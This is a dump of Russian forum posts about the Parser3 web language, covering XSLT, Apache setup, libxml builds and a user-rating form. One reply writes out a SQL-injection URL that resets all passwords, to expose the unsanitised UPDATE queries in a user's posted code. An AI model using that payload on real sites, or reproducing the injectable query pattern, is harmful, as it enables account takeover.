"38302","Я как-то давно решал такую задачку. Правда у меня были пробелы закодированные под одну из цифр. Но большой разницы нет. \
Решил я ее следующим образом. \
Где-то дернул словарь, из какого-то толи электронного словаря или еще чего-то. Перевел это в текстовый файл. Написал простую программку на дельфях, которая перебирая брала начало фразы, подставляла на каждую цифру поочердно разные буквы и искала вхождение полученой фразы в словаре. Очень емкая задачка, поставил ее выполняться на ночь. Утром проснулся и получил результат расшифровки около 7-ми букв. Дальше уже проще. подставляя эти буквы в шифр уже можно было \"вручную\" расшифровать остальной текст."
"38303","то лучше, конечно, importNode+appendChild.\
\
но если возможность повлиять на xml есть, то стоит вставить прямо в его код, т.е. ещё [b]до[/b] создания xdoc объекта."
"38304","почему нельзя? почему не как в ^if? специально сделано или просто все терпят, а у ПАФа \"в несрочном todo\" и \"приму patch -u\" как обычно?"
"38307","Есть ли какие-то способы обрабатывать XML вида\
[code]\
<list>\
   <item/>\
   <item/>\
   ...\
   <item/>\
</list>\
[/code]\
таким образом, чтобы это работало как следующий код на парсере?\
[code]\
^list.menu{\
   $item.content\
}[<br/>]\
[/code]\
\
Т. е. мне нужно отобразить список с разделителями [b]только между[/b] элементами."
"38308","При итерации проверять на последний узел, что есть слегка криво.\
Другой реализации не видел."
"38309","Выбирать сразу нужные item'ы: position()!=last() и position()=last(). И не надо никаких проверок на итерациях."
"38310","Ставит запятые после слов, а в конце последнего ставит точку.\
\
XML\
[code]<items>\
	<item>Двести</item>\
	<item>триста</item>\
	<item>четыреста</item>\
	<item>пятьсот</item>\
	<item>шестьсот</item>\
	<item>семьсот</item>\
</items>[/code]\
\
XSLT\
[code]<xsl:template match=\"items\">\
	<xsl:apply-templates select=\"item[position()!=last()]\"/>\
	<xsl:apply-templates select=\"item[position()=last()]\"/>\
</xsl:template>\
\
<xsl:template match=\"item\">\
	<xsl:apply-templates/>,\
</xsl:template>	\
\
<xsl:template match=\"item[position()=last()]\">\
	<xsl:apply-templates/>.\
</xsl:template>[/code]\
\
Может быть можно еще проще?"
"38311","[code]\
@main[]\
$str[\
some \
   text ]\
^str.save[str.txt]\
[/code]\
\
Интересно, будет ли вас смущать, что в файл записался текст вместе с пререводами строк и с пробелами? Я думаю, что вы сочтете, что так и должно быть. \
Так почему же тогда эти симолы не должны учитываться при передачи параметров в методы?\
\
[code]\
@main[]\
^save_string[\
some \
   text ]\
@save_string[str]\
^str.save[str.txt]\
[/code]\
\
Пробелы и символы перевода строки тоже сохранятся и никто их подчищать за вас не собирается -- как написали, так и будет.\
\
Вам может показаться, это такой принцип неудобен, то советую обратить внимание на ряд других языков, где строковые литералы в коде программы могут быть определены только при помощи заключения символов в кавычки /и, соответственно, будут выводиться пользователю оператором print()/\
\
И не надо кидать камини в сторону PAF'а и кричать, что это за аццтой такой, и как такое терпеть можно. \
\
(два последние абзаца - это реплика в ответ на пост http://www.parser.ru/forum/?id=38304)"
"38312","Подумать и отказаться от затеи с импортом нодов \
или\
подумать самому на счет DTD?\
\
Как импорт работает для документов с DTD я вскоре проверю, но не в ближайшее время. У меня по этому поводу в книге написано, что возникает ошибка если импортируется нод неподдерживаемого типа (пр. DOCUMENT_NODE). И вообще позволит ли парсер изменять дерево документа, если возникают проиворечия с DTD? Очень, надо сказать интересно.\
\
А по поводу импорта узлов дерева в документ, то у меня весь механизм создания страниц на этом построен. Дерево, так сказать, растет в зависимости от каких либо условий (точнее от адреса запрошенного url), причем, в крайних случаях, для построения страницы может потребоваться около 5-10 импортов. \
Как вы думаете, насколько это может быть критично по времени?"
"38313","в parser DTD сейчас не проверяется вообще никогда."
"38314","в Parser быстрее собрать XML кусочки, потом их скомпилировать в DOM дерево, чем собирать DOM дерево из кусочков.\
\
в форуме уже было обсуждение этого, и так мы в делаем сами."
"38315","Несмотря на множество инструкций, редемов, сообщений в форуме заставить Parser работать не выходит. Видимо опыта мало.\
\
Итак, моя цель создать виртуальный хост, поставить на него Parser и начать изучать данный язык, ибо желание имеется. Распишу вам свои действия:\
\
Скачал Денвер, поставил – все хорошо, все работает.\
Теперь я устанавливаю Parser, загружаю распаковщик, в настройках установки почти не меняю галочек (в надежде что стандартные конфигурации мне вполне подойдут), и устанавливаю все это добро в [color=\"#663333\"]home/test.ru/cgi-bin/[/color], потом в [color=\"#663333\"]test.ru[/color] создаю папочку [color=\"#663333\"]www[/color] куда и кидаю все те три файла из «Урока 1. Меню навигации». Теперь необходимо (читал и об этом) поместить [b].htaccess[/b] в «корневой каталог». Что за корневой каталог я не понял, то ли это непосредственно папка [color=\"#663333\"]test.ru[/color] или [color=\"#663333\"]www[/color] или на крайний случай [color=\"#663333\"]home[/color]. Но необходимо же ещё внести в него изменения. Внес. В результате все перечисленные варианты не работали. А определял я работоспособность Parser при помощи файла _test.html, который писал: [quot]# Для того, чтобы данный тест заработал, в качестве обработчика документов с данным расширением должен быть установлен parser, чего сейчас не наблюдается. #[/quot] Из этого я понимал только то, что ничего не работает.\
Файл [b]index.htm[/b] который должен был выводить сгенерериванное меню навигации, броузер выдавал только [code]^navigation[][/code]. Не работает, я ещё раз убедился.\
\
Я к чему все это говорю,  тому что, да отлично, спасибо Дмитрию Котерову за Денвер,\
Но можно ли создать «нечто», что само все устанавливало (я погорячился потому как PHP и Скулы он ставит, как я понимаю), в том числе и Parser, и не было бы необходимости искать новичку стоки и заменять во всяких конфигурационных файлах и тому подобное. Поставил и работай.\
\
А я, увы, не могу, уж помогите, чем можете.\
\
Куда и как и ставить [b].htaccess[/b] что делать с [b]httpd.conf[/b] и вообще надо ли?\
Где должен валяться [b]parser.exe[/b]?\
\
Использовал: \
[b]Base_Parser_2005-01-12_a1.3.31_p4.3.10_m4.1.8_pma2.6.1_p314.exe[/b]\
[b]parser3_1_4_ru.exe[/b]"
"38318","то есть мой форум использует туже самую базу что и перед ним стояла на пхпбб.. визуально 1 в 1 :) поставил даж копирайт. забавно в логах смотреть как народ пытается взломать его через дыры phpbb ;)"
"38319","вообще, тема \"форум на Парсере\" давно назрела, только как-то народ не соберется в кучу..."
"38320","Можно посмотреть на действующие порталы, работающие под вашей CMS? Вы где-то упоминали, что имеется парочка таковых. Дайте, пожалуйста, ссылки - меня давно занимает тема написания на Parser'e CMS для городского портала."
"38321","Все функции или только струкуру форума? Я пока сделал структуру, а вот за навороты пока не брался :)"
"38322","что выкладывать форум будет самой хорошей идеей, т.к. найдутся умельцы которые отыщут дыры и в нем. А вот опытом поделиться можно :)"
"38323","Скомпилил тут последний парсер с libxml 2.6.15 (на старом red hat 7.3), но он зараза спотыкается при парсинге некоторых XML-ок (выдаёт что-то типа error... nodeValue(-2)), с которыми \"официальный\" прекомпиленый парсер успешно справляется.\
\
Может быть стоит использовать другую - \"проверенную\" - версию libxml ?\
\
и ещё вопрос - как заставить этот libxml не \"строго\" парсить xmlки?\
ну чтобы он не кричал на пропущеные пробелы или там неправильные entity, а просто молча парсил то, что в состоянии парсить.\
Может опция configure или define какой есть???"
"38324","2 Sanja v.2\
Развивается ли этот проект? Скачал 11 мегов, Контрольная панель падает с криком об ошибке. Похоже, что нет какой-то библиотеки (старый вариант КП работает, больше размером).\
В меню КП пункт Настройки/Редактировать/httpd.conf вызывает редактирование php.ini \
\
Не вполне понятно, как добавлять новые сайты (рекомендованная правка httpd.conf не проходит: ерестает загружаться апач).\
\
Сорри, что пишу сюда, а не на сайт \"ножика\", но там некуда писать :-)"
"38325","2 Sanja v.2\
Развивается ли этот проект? Скачал 11 мегов, Контрольная панель падает с криком об ошибке. Похоже, что нет какой-то библиотеки (старый вариант КП работает, больше размером).\
В меню КП пункт Настройки/Редактировать/httpd.conf вызывает редактирование php.ini \
\
Не вполне понятно, как добавлять новые сайты (рекомендованная правка httpd.conf не проходит: ерестает загружаться апач).\
\
Сорри, что пишу сюда, а не на сайт \"ножика\", но там некуда писать :-)"
"38326","И не обращать внимание на >= если не хочется проблем или быть бета тестером.\
\
> и ещё вопрос - как заставить этот libxml не \"строго\" парсить xmlки?\
\
Никак, - XML для этого и придумали чтобы устранить подобное разгвоздяйство."
"38327","А на ошибки  укажут."
"38328","Насчёт разбора XML - пишется RSS-аггрегатор. Многие \"отдаватели\" RSS плевать хотели на стандарты и выдают такуууую чушь... но парсить надо (и кстати дельфёвый модуль SimpleXML успешно справляется). а в парсере что делать?"
"38329","Ловить исключения и не показывать. Стандарт он и в Африке стандарт, а если его кто-то не соблюдает, то это его проблемы, а не разработчика. Что до модуля дельфи - все это от лукавого, ну и что, что он ловит? Какой-нибудь товарищ придумает изврат что и он свалится, на всех не угодишь, только время потеряешь."
"38330","собрал на этот раз в точности с указанными версиями:\
libxml2 2.6.5 \
libxslt 1.1.2 \
glib 1.2.10\
gdome2 0.7.4\
\
только libgc взял версии 6.4\
\
парсер 3.1.4 в исходниках с сайта (не CVS)\
\
в качестве \"проблемного\" XML вот этот, к примеру:\
\
http://www.mynotescenter.com/mnc_pad.xml\
\
(не совсем RSS, но отслеживать новые релизы софтин этот PAD-формат позволяет).\
\
Дык вот. Парсер, собранный с распоследними (а не рекомендуемыми) версиями библиотек, да ещё в виде модуля для апачи 1.3.33 успешно этот файл парсит (что неудивительно, т.к. этот xml проходит валидацию)!\
\
А парсер, собранный как CGI, с рекомендуемыми либами - обламывается! Свойство nodeValue в одном месте вызывает странную ошибку: transcode_cstr failed (-2)\
\
единственная разница в том, что второй (глючный) парсер собран на red hat 7.3 с ядром 2.4.хх, а первый - собран на asplinux 10 с ядром 2.6.10.\
\
выбор редхата 7.3 вызван проблемой c древностью glibc у хостера. а на самом хостере gcc кривой и вообще ничего не компилит :(\
(я уже об этом писал тут в начале года)\
\
что порекомендуете сделать?"
"38331","Вопрос. Загружаю html-страницу в строку. Как мне оттуда получить то, что находится между <title> и </title>?\
ДЕлаю что-то вроде\
^строка.mid(Начало;Сколько)\
Вот тут с регулярными выражениями у меня плохо. Кто-нибудь подскажет, что дописать? С учетом того, что тего может быть:\
<title>\
<TITLE>\
<   TITLE   \
>\
или \
<\
TITLE\
>\
или даже\
<TITLE class=\"wow\">\
 (ну, всякое бывает, зачем  - не знаю)"
"38332","1. Для начала взять libgc6.1 как рекомендовано, т.к. среда должна быть репрезентативной, а на 6.4 парсер не тестировался.\
2. Если это не поможет, - bug.html отослать создателю.\
\
Что-то другое посоветовать не могу."
"38333","$title[^text.match[.*<title[^^>]?>(.+?)</title>.*][gi]{$match.1}]\
\
PS Купите книжку по регулярным выражениям."
"38336","сравните BSD и MS, хотя бы..."
"38337","Приветствую всех!\
\
Задумался над вопросом о создании небольшого рейтинга на Parser'е. Допустим, рейтинг скачиваний файла. Показ в картинках-звёздочка) - обычно принято.\
\
Какие есть идеи?"
"38338","Если бы он не был открытым, то его бы и не ломали."
"38340","Думаю, что ни у кого нет идей, т.к. ни кто не читал [url=\"http://www.parser.ru/docs/lang/responsedownload.htm\"]это[/url] :)"
"38341","Просто немногие ставят или имеют возможность ставить заплатки вовремя."
"38342","собрал с gc6.1\
не помогло :("
"38343","Прочитал все факи и доки по парсеру, которые нашел, закинул все, куда надо, но все равно выдается ошибка 404: \"The requested URL /cgi-bin/parser3/index.html was not found on this server\".\
\
Вот кусок httpd.conf:\
<VirtualHost *:82>\
    DocumentRoot \"c:/www/test/www\"\
    <Directory \"c:/www/test/www\">\
        AllowOverride All\
    </Directory>\
    ScriptAlias /cgi-bin/ \"c:/www/test/www/cgi-bin\"\
    <Directory \"c:/www/test/www/cgi-bin\">\
        AllowOverride All\
        Options ExecCGI\
        Order allow,deny\
        Allow from all\
    </Directory>\
    AccessFileName ht.access\
</VirtualHost>\
\
А вот ht.access:\
AddHandler parser3-handler html\
Action parser3-handler /cgi-bin/parser3\
\
ht.access обрабатывается. Помогите разобраться, в чем проблема, а то уже не знаю, что и делать..."
"38349","[code]Action parser3-handler /cgi-bin/parser3[/code]\
\
Вы действительно переименовали parser3.exe в parser3, или ошиблись?\
\
P. S. Переименование .htaccess я еще могу понять (чтобы файл без имени некоторые программы под виндой не раздражал), но зачем экзешник Парсера-то? Смысл?"
"38351","Вот на [url=\"http://www.bolero.ru/product-22303791.html\"]Bolero.ru[/url] оценка товара по пятибальной шкале. Интересует, что-то подобное. Есть пара вопросов.\
1. Где хранить выполненные голосования, в MySQL или в hash-файле?\
2. Как соотносить данные с gif файлом?"
"38352","Смотрим что есть по интересующей нас теме у [url=\"http://www.spearance.ru/\"]Eugene Spearance[/url] в [url=\"http://www.spearance.ru/parser3/\"]«Лаборатории тестов»[/url]:\
\
1. [url=\"http://www.spearance.ru/parser3/rating/\"]Расчёт количесва кликов[/url]\
2. [url=\"http://www.spearance.ru/parser3/statistic/\"]Тестовая линейка[/url]"
"38353","Про parser3 без расширения сказано в хелпе (в разделе \"Установка и настройка Parser\"). А ht.access пришлось переименовать, потому что XP не признает файлы без названий.\
Попробовал прописать parser3.exe, что-то заработало, пока не понял. Но php-код, вшитый в html, теперь не обрабатывается."
"38355","У вого-нибудь есть какая-нибудь заготовочка для поискового скрипта, чтобы имея набор слов (например в таблице) производить поиск по длинной строке (например, содержимое странице уже находится в строковой переменной) да так, чтобы учитывать еще и окончания?"
"38357","Поэтому и не обрабатывается как php. В форуме иной раз проскакивало о возможности совмещать Парсер и пхп. Не интересовался (не нужно), поэтому не знаю насколько удачно. Поиск поможет."
"38358","На эту тему сдесь было много высказываний, но мне кажется я подошел близко. Так называемый швейцарский нож я уже кочаю но хотелось бы самому.\
\
Мой дистрибутив называетя \"Base_Parser_2005-01-26_a1.3.31_p4.3.10_m4.1.8_pma2.6.1_p314.exe\", в FAQ сказано чтобы проверить обрабатывается ли парсером .htaccess -- надо написать в нем ошибку. И у меня выскочила 500-тая ошибка. Но при указании в броузере на парсер в папке cgi-bin, он его не находит.\
\
Так в моей версии дистрибутива надо менять <virtualhost …> или нет.\
\
Вообще я запутался с дистрибутивами, где надо настраивать, где не надо.\
\
Возможно ошибка и задании таблици в sections.cfg. Там надо через коп./вст. в блокнот получается так:\
section_id \
\
 name \
 uri \
 \
1 \
\
 Главная \
 / \
 \
2 \
\
 Новости \
 /news/ \
 \
3 \
\
 Контакты \
 /contacts/ \
 \
4 \
\
 Цены \
 /price/ \
 \
5 \
\
 Ваше мнение \
 /gbook/ \
 \
Или как сказано в инструкции ниже таблици (получается по разному):\
\
section_id	name	uri\
1	Главная	/\
ну и тд."
"38359","В hash-файле не многовато ли будет? Или файлов 10?\
\
А картинки сделать заготовленные с нужной степенью детализации (1 - 1,5 - 2 - ...\
или там 1 - 1,25 - 1,5 - 1,75 - 2 - ... или еще как-то. И выдавать нужную, наиболее близкую по значению к коэфициенту рейтинга."
"38360","наверное у вас какой-то другой Apache2, более продвинутый..."
"38361","В уроке всё написано:\
\"Здесь используется так называемый формат tab-delimited. Столбцы разделяются знаком табуляции, а строки - переводом каретки. При копировании этой таблицы в текстовый редактор данное форматирование будет создано автоматически, но если вы будете создавать таблицу вручную, необходимо это учитывать. Для таблиц ВСЕГДА применяется формат tab-delimited.\"\
\
То есть, вместо пробела используется кнопка \"Tab\" (на клавиатуре слева над \"Caps Lock\" :)). А Ctrl+C/Ctrl+V здесь ничего такого не сделает. Придётся ручками поработать."
"38362","Есть файл manager.html который по сути является оберткой соответствующего cgi, написанного на Perl/\
\
[code]\
^switch[$form:action]{\
	^case[DEFAULT]{\
		$cgi_file[^file::cgi[/cgi-bin/file.cgi]]\
		$cgi_file.text\
	}\
	^case[makedir]{\
		$cgi_file[^file::cgi[/cgi-bin/file.cgi;$.QUERY_STRING[action=^taint[makedir]&wd=^taint[$form:wd]&dir=^taint[$form:dir]]$.stdin[$request:body]]]\
		$cgi_file.text\
	}\
	^case[upload]{\
		$cgi_file[^file::cgi[/cgi-bin/file.cgi;$.QUERY_STRING[action=^taint[upload]&wd=^taint[$form:wd]]$.stdin[$request:body]]]\
		$cgi_file.text\
	}\
}\
[/code] \
\
Случаи DEFAULT и makedir работают замечательно, а вот upload нет. Не выдает никаких ошибок, но данные для до file.cgi не доходят.\
upload - это закачка файлов на сервер с помощью такой формы, выдаваемой скриптом file.cgi:\
\
[code]\
<form method=post action=\"$cfg{'s_url'}\" NAME=\"Upload\" ENCTYPE=\"multipart/form-data\">\
<input type=hidden name=\"wd\" value=\"$wd\">\
<input type=hidden name=\"action\" value=\"upload\">\
<B>Загрузка файла:</B><br>\
<INPUT NAME=\"data\" TYPE=\"file\" onBlur=\"serverFileName()\"><br>\
<b>Переименовать в:<b><br>\
<INPUT NAME=\"fn\" onFocus=\"select()\" onBlur=\"validateFileEntry(this.value, this)\">\
<input type=\"submit\" class=\"btn\" value=\"Загрузить\">\
</form>\
[/code] \
\
Если работать напрямую с file.cgi, то все работает, поэтому в его работоспособности не приходится сомневаться.\
\
Причина по всей видимости, в том, что при action=upload на file.cgi не передается принятые данные POST. \
\
Почему? \
\
Пожалуйста, к докам не отсылайте, читано. К тому же в доках здесь [url=\"http://www.parser.ru/docs/lang/filecgiexec.htm\"]http://www.parser.ru/docs/lang/filecgiexec.htm[/url] наблюдается какой то пробел."
"38363","Хочу на сайт www.see.h12.ru вставить форму типа \"Рассказать о сайте другу\". Вроде нашел соответствующие CGI скрипты, но с чем их есть, разобраться не могу. Инструкции в них на англицком, который я вообще понимаю с трудом, ну а с этой спецификой тем более. \
Хостинг скрипты поддерживает http://register.h12.ru/faq/scripts.shtml"
"38364","Думаю, данные Вами ссылки мне помогут."
"38365","У меня под Оперой не создаются куки, а под IE не выполняется\
[code]\
$response:refresh[ \
   $.value(0) \
   $.url[/] \
]\
[/code]\
Может мне есть Activia каждый день?..."
"38366","ешь даниссимо, а куки в настройках браузера включаются... так же, как и выключаются...\
\
ЗЫ а refresh причем здесь? "
"38368","Так что с парсером он надо ли что-то дополнительно настраивать, ведь есть же папка cgi-glob?\
\
Извиняюсь за ламерство -- а переводкорретки это ENTER?"
"38369","[quot]Но при указании в броузере на парсер в папке cgi-bin, он его не находит.[/quot]\
\
перевод каретки в вашем случае это клавиша Enter."
"38370","каким образом вам удалось прикрутить к вашей системе DHTML редактор? :)"
"38371","менять <virtualhost …> не надо, с установками по умолчанию все работает"
"38372","Объясните пожалуйста мне, горскому парню, почему при отправке бинарных файлов (рисунков) через форму (где enctype=multipart/form-data), файлы эти искажаются. Я знаю что это не проблема парсера, мне просто спросить не у кого:))\
Хостер (peterhost.ru) предложил выложить в папку со скриптом файл .htaccess, где отключается какая-то кодировка и т.д. Не помогает. Жаловаться к ним дальше - они и так не любят парсер."
"38373","1. Куда вы клали [i].htaccess[/i] и что в нём писали?\
2. Как сохраняете файл?\
\
P.S.: «Парсер» пишется с прописной буквы. :)"
"38374","В корне сайта есть папка /photo/ , в ней страница upload.html с формой для загрузки и обработчиком, и папка /photo/uploaded/ куда собственно файлы и сохраняются. Вот в папку /photo/ я и записал .htaccess . А сохранил так - открыл другой .htaccess записал в него\
<IfModule mod_charset.c>\
CharsetRecodeMultipartForms off\
</IfModule>\
и Save as в нужной мне папке. Кроме этих строк там больше ничего нет."
"38378","Проблема идиотская какая-то.\
Выводится на странице, допустим, по 5 анкет юзеров.\
Под каждой анкетой создаются варианты голосования типа [code]<label><input type=\"radio\" name=\"rating\" value=\"2\">+2</label>[/code] и кнопка отправки.\
Вот только этот код\
[code]\
^connect[$connect_string]{\
^void:sql{UPDATE $form:table \
SET rating=rating+$gol.field\
WHERE  id='$show_user.id'\
}\
}\
[/code]\
выполняется для всех выведенных анкет подряд. Я понимаю почему но не пойму как исправить.\
Такая же ерунда была с отправкой личных сообщений, заместо ЛС получилась просто СПАМ-рассылка. \
Но там я вывел всё это дело в отдельное окно. \
А с рейтингом народ не поймёт..........."
"38379","Русский язык я знаю лучше, чем Парсер. Так что огорчу:\
П - заглавная буква\
п - прописная...."
"38381","Вероятно проблема в этой строке:\
\
[code]\
WHERE  id='$show_user.id'\
\
# проверьте, что содержится в переменной $show_user.id\
# ...и может быть написать так:\
\
WHERE id = ^show.user.id(0)\
[/code]"
"38383","Да нет....\
Даже если обновлять не по ID а по уникальному в таблице login такая же история.\
Просто по-порядку зачем-то обновляются все записи, а не одна нужная. \
Берётся id первой записи и втыкается в таблицу с записью с таким же id, потом вторая запись также и т.д.\
Как это вылечить? Имена создаваемых форм на всякий случай разные, проверено.\
Это ничего не даст, но всё-таки:\
[code]\
<form name=\"$show_user.id\" method=\"post\">\
	<label><input type=\"radio\" name=\"rating\" value=\"-2\">-2</label>\
	<label><input type=\"radio\" name=\"rating\" value=\"-1\">-1</label>\
	<label><input type=\"radio\" name=\"rating\" value=\"1\">+1</label>\
	<label><input type=\"radio\" name=\"rating\" value=\"2\">+2</label>\
	<input type=\"submit\" name=\"$show_user.id\" value=\"Голосовать\">\
</form>\
$gol[$form:tables.rating] \
^if(def $gol){ \
    ^gol.menu{ \
^connect[$connect_string]{\
^void:sql{	UPDATE $form:table \
	SET rating=rating+$gol.field\
	WHERE login='$show_user.login' AND password='$show_user.password' AND id='$show_user.id'\
		}\
	}\
}\
[/code]\
Можно, конечно, попробовать вытаскивать значение rating нужной записи, увеличивать его на нужное значение и потом уже обновлять.\
Да и то не уверен, что не повторится эта фигня."
"38384","1. зачем делать таблицу из rating, если на выходе останется один выбранный или ноль вариантов ибо type=\"radio\"?\
2. даже если бы была таблица $gol, то объясните, по какой причине вам нужен коннект, да еще и UPDATE, в каждой итерации? Или таким образом надо пользователей нынче любить?\
3. что вы хотите иметь на выходе, с такими маневрами?"
"38385","Редактор - htmlArea (ищется в гугле), BSD-лицензия."
"38386","http://sibarit.ru/works"
"38387","Поищите еще и WHE (WYSIWYG Html Editor) — тоже не плохая вещь…"
"38388","сабж. сайт www.bmwclubvoronezh.ru \
сайт делал не я.\
проблема в седущем: на старой версии парсера все нормально работет.\
ставлю новую - сайт вроде пашет нормально, но в лог кидает:\
[code][Mon Mar 21 08:11:19 2005] [86424] /news/shtirlitz/258: /home/bmwclub/www.bmwclubvoronezh.ru/homepage/classes/news.p(58:22): 'create' empty string is not valid datetime [<no type>]\
[/code]\
здесь ругается на это: $date[^date::create[$News.date]]\
и при этом отваливается админ:\
[code][Mon Mar 21 09:04:58 2005] [86616] /admin/: /home/bmwclub/www.bmwclubvoronezh.ru/homepage/admin/admin.p(73:32): 'show' undefined method [parser.runtime]\
[/code]\
ругается на это: $title[^data.$LevelNum.show[$leveldata]]\
что так сильно изменилось в парсере. хотя бы подскажите куда копать.\
\
ЗЫ: просто я больше по пхп. но в парсровском коде при желании разобраться могу."
"38389","Первый опрос на парсере.\
Косяков много, лишнего кода тоже... но, замечу, работает.\
\
Написал на основе некоторых идей вышеупомянутого опросника свой класс, + добавил механизмы антидаблпостинга (спасибо Мише) и защиту от хитрожо..х накручивальщиков.\
\
Сейчас класс проходит глубокое тестирование. Через месяц возможно появится в примерах, или же в моей тестовой лаборатории."
"38390","так бывает, когда в коде невалидный UTF-8.\
\
ошибку выдаёт мой код, библиотеки не виноваты.\
код я брал из xerces, где он очень строго подходил к потоку UTF-8 байт. \
\
я уже делал один подход к проблеме, очевидно, есть ещё какой-то случай.\
\
пожалуйста, пришлите проблемный xml, поскольку прямо сейчас с указанного адреса отдаётся нечто, обрабатываемое Parser-ом без проблем."
"38392","создайте в каталоге, расположенном рядом с бинарником parser3, файл .htaccess и впишите туда это:\
[code]\
CharsetDisable On\
[/code]"
"38393","будем использовать данные, получаемые от пользователей так, чтобы врагам было удобнее:\
\
http://yourServer/pageWithThatCode.html?form=users set password='' --"
"38394","когда будут нетривиальные вопросы, сразу сюда."
"38395","Ты, конечно, прав, но вопрос оптимизации в заголовке темы не стоял. Оптимизацией можно будет заниматься когда заработает.\
1. Ладно, пусть будет $form:rating\
2. Если вариант один или вообще не будет то и коннект с обновлением будут один или вообще не будет?\
3.\
[code] \
^if(def $form:rating){\
^void:sql{UPDATE $form:table \
SET rating=rating+$form:rating\
WHERE id='$show_user.id'}\
}\
[/code]\
В результате этого маневра хотелось бы увеличить рейтинг конкретного юзера, а не всей кучи.\
REPLACE тоже заменяет всю кучу......."
"38397","ID конкретной записи, число"
"38399","Возможно, оффтопик. Вопрос такой: хочется получать в поисковиках список страниц о парсере, с использованием парсера и т.п. Ну и, конечно, с листингами классов :-)\
Каков, по вашему опыту/мнению должен быть такой запрос в поисковике?\
\
p.s. Спецсимволы (^, [, ])обычно не пропускаются."
"38400","Поясните пожалуйста, почему код\
\
[code]\
$cgi_file[^file::cgi[/cgi-bin/file.cgi;$.QUERY_STRING[action=^taint[makedir]&wd=^taint[$form:wd]&dir=^taint[$form:dir]]$.stdin[$request:body]]]\
$cgi_file.text\
[/code]\
...работает, а ...\
[code]\
$cgi_file[^file::cgi[/cgi-bin/file.cgi;$.QUERY_STRING[action=^taint[upload]&wd=^taint[$form:wd]]$.stdin[$request:body]]]\
$cgi_file.text\
[/code]\
\
..нет?"
"38401","судя по применению taint в качестве бубна, вы мало понимаете, что делает ваш собственный код.\
\
в любом случае:\
Parser передаёт вашему скрипту все переменные окружения, с вашим изменением, плюс тело запроса.\
\
вероятно, следует разбираться с внешним скриптом."
"38402","Где все  так просто.\
По-моему достойным ответом будет \"Сайтов много\"."
"38403","Когда запись одна, всё нормально. \
Вот так сказать \"demo-версия\" чтоб всё понятно было\
[code]\
^connect[$connect_string]{\
$show_user[^table::sql{ SELECT  id, name,..., date FROM $form:table ORDER BY `id` DESC}]\
^if($show_user){\
        ^show_user.menu{\
.....\
.....\
Данные пользователя\
^show_user.name.upper[] ищет $show_user.wsearch\
.....\
.....\
<form name=\"$show_user.id\" method=\"post\">\
<label><input type=\"radio\" name=\"rating\" value=\"-2\">-2</label>\
<label><input type=\"radio\" name=\"rating\" value=\"-1\">-1</label>\
<label><input type=\"radio\" name=\"rating\" value=\"1\">+1</label>\
<label><input type=\"radio\" name=\"rating\" value=\"2\">+2</label>\
<input type=\"submit\" name=\"vote\" value=\"Голосовать\">\
</form>\
^if(def $form:rating){\
^void:sql{UPDATE $form:table \
SET rating=rating+$form:rating\
WHERE id='$show_user.id'}\
}\
[/code]\
Можно, конечно и WHERE name='$show_user.name', только рез-т такой же.\
Нужно чтобы он сравнивал ID конкретной записи, а не все подряд... :("
"38405","Т.е. все-таки код на Парсере написан правильно? Хм, а как тогда может получиться, что если обращаться напрямую к file.cgi ( домен.ru/cgi-bin/file.cgi ) то все работает нормально?\
\
ЗЫ: taint кстати попал сюда из документации еще до появления этой проблемы, если не ошибаюсь. Я и не помышлял использовать его в качестве бубна ;)"
"38406","В том-то и дело что нет...."
"38407","стиль не супер.\
укажите точку в документации, где советуют [b]такое[/b] :)\
\
как работает указанный file.cgi = загадка.\
когда разберётесь, расскажите?"
"38408","вы сравниваете some_strange_record_id с user_id\
и хотите нас уверить, что понимаете, что делаете, и [b]оно[/b] [i]иногда[/i] работает?"
"38409","http://www.parser.ru/docs/lang/filecgiexec.htm\
\
[quot]\
Пример внешнего CGI-скрипта\
$file[^file::exec[script.cgi;$.QUERY_STRING[param=^taint[значение]]]]\
[/quot]"
"38410","Столько пафоса... :-)\
\
Вопрос-то технический: отбор интересующей меня информации по parser'у. Поисковый запрос для наиболее эффективного отбора сайтов, содержащих информацию, связанную с технологией Parser.\
\
ИМХО, любой, кто чем-либо занимается достаточно долго, интересуется разработками других в этой области.\
Вот и на Ваш сайт сходил :-)"
"38411","ежели чего не так написал. :)\
День тяжелый - а тут еще такая \"проблема\".\
Просто Парсер - не javascript и отдает он чистый HTML. Найти поисковиком кроме как по надписи POWERED BY PARSER не представляется мне возможным.\
А на МОЙ сайт вы через месяц сходите я там многое сейчас переделаю. Как будет релиз намного нагляднее станет."
"38412","ID неопознанной (неизвестной) записи? Тогда я вообще ничего не пойму............\
Потому что когда выбирается только одна запись, то такой код [code]\
^void:sql{update my_table set photo='1' where id='$show_user.id' }\
[/code] работает. Чего тут неправильного?\
Я, собственно, и спрашиваю как при выборке n-го кол-ва записей обновить конкретную запись."
"38413","переделаем, чтобы в такое заблуждение не вводить.\
\
там имелось в виду ровно то, что написано:\
параметром taint буквы 'з', 'н', 'а'…\
\
в вашем случае $form:поля уже tainted — выходит, вы красите зелёный забор в зелёный цвет.\
\
я это имел в виду, под «не понимаете, что делает ваш код».\
\
если вы не вникли в [b]этот[/b] момент, вполне можете не вникнуть в суть вашего file.cgi"
"38415","Теперь с этим моментом понятно =)\
Если разберусь с причиной моей проблемы: отпишусь обязательно.\
\
--\
А версий никаких нет, ни у кого? ;)"
"38416","тогда вообще бред: у вас форма и запросы в пределах \
^show_user.menu? %)"
"38417","Если сайт посвящен парсеру, то, возможно там будет что-то вроде \"примеров\", т.е. выложенные исходники. Вот их, думаю, стоит искать по \"птичкам\" и \"рублям\"..."
"38418","1. пойти поспать\
2. перестать именовать поля \"id\", назвать их в стиле \"сущность_id\".\
в вашем случае: во всех таблицах пройти и назвать \"abc_id\", \"user_id\", ясно?\
3. посмотреть на запрос, когда поля будут названы внятно"
"38419","Или я ошибаюсь?\
\
@auto, main и т.п. тоже не проходят..."
"38420","http://www.yandex.ru/yandsearch?rpt=rad&text=Unhandled+exception\
http://www.google.com.ua/search?hl=uk&q=Unhandled+exception&btnG=%D0%9F%D0%BE%D1%88%D1%83%D0%BA+%D1%83+Google&meta="
"38421","@main[], @auto[] и т.п. - не проходят, поиск идет по \"main\", \"auto\". Масса сайтов автомобильной тематики :-)\
\
Не в тему: Sanja v.2. - вы автор \"Швейцарского ножика\"? Проект умер? (Чуть раньше на форуме я уже спрашивал)"
"38422","[code]\
$str[2]\
'^str.format[%02.u]'\
[/code]\
В браузере виднеется ' 2'. То есть 'пробел2'. А в хэлпе следующее:\
[quot]\
[b]Приложение 2. Форматные строки преобразования числа в строку[/b]\
\
Форматная строка определяет форму представления значения числа. В общем случае она имеет следующий вид:\
[b]%Длина.ТочностьТип[/b]\
…\
